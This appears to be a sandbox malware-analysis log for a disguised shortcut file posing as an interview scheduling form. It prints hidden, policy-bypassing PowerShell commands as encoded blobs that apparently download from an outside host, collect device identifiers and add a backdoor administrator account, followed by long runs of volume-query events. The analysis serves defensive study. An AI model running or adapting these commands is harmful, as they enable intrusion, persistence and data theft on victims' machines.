agad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbnag0adabhagcazqbuagmaeqauag8abgbsagkabgblac8azgbpagwazqayac8aoaa0aguamaawadkaywa1aguamga5adgaoaayadmamgazaduaoaawagianwbjadcamaawagqangbkadcazgbiagyamgawadcazabmadmanga4agqazgawadiamwbhadyamaa3adcamqawagmayqa3agyanabjadeanga4aduangbjagyazga5adcayga3adganga1adqayqa4adgamwa5adkaoqaxadgamgbhadaanqa0adaanaa3adgaoqawagmaoaa2admaygbhadmaoabjagqamqa0adiazabjadeamqbjagmazqa4agyanwa2adeamaa2admanwa5ageazaayaguamqa1adyamaaxagyamaa0agiazqa0agyanga0adaaoaa0adgamwbjaduamqa1ageazgbkagqazga0adaazgaxageangawageaoaa3adeaoaa1ageazga5aduaywazagqangbladeanabiadeayga4aduazgaxagqamwa2aguazaa2adkayqbiagianwazaduayqa2adcamwa1adeazqayadeamga4agyazgbiadcamwbkadqanaa5agmamwbiaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad0aiaawad
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=

Language, Device and Operating System Detection

Yara detected Obfuscated Powershell

Source: Yara match

File source: Online Interview Scheduling Form.lnk, type: SAMPLE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
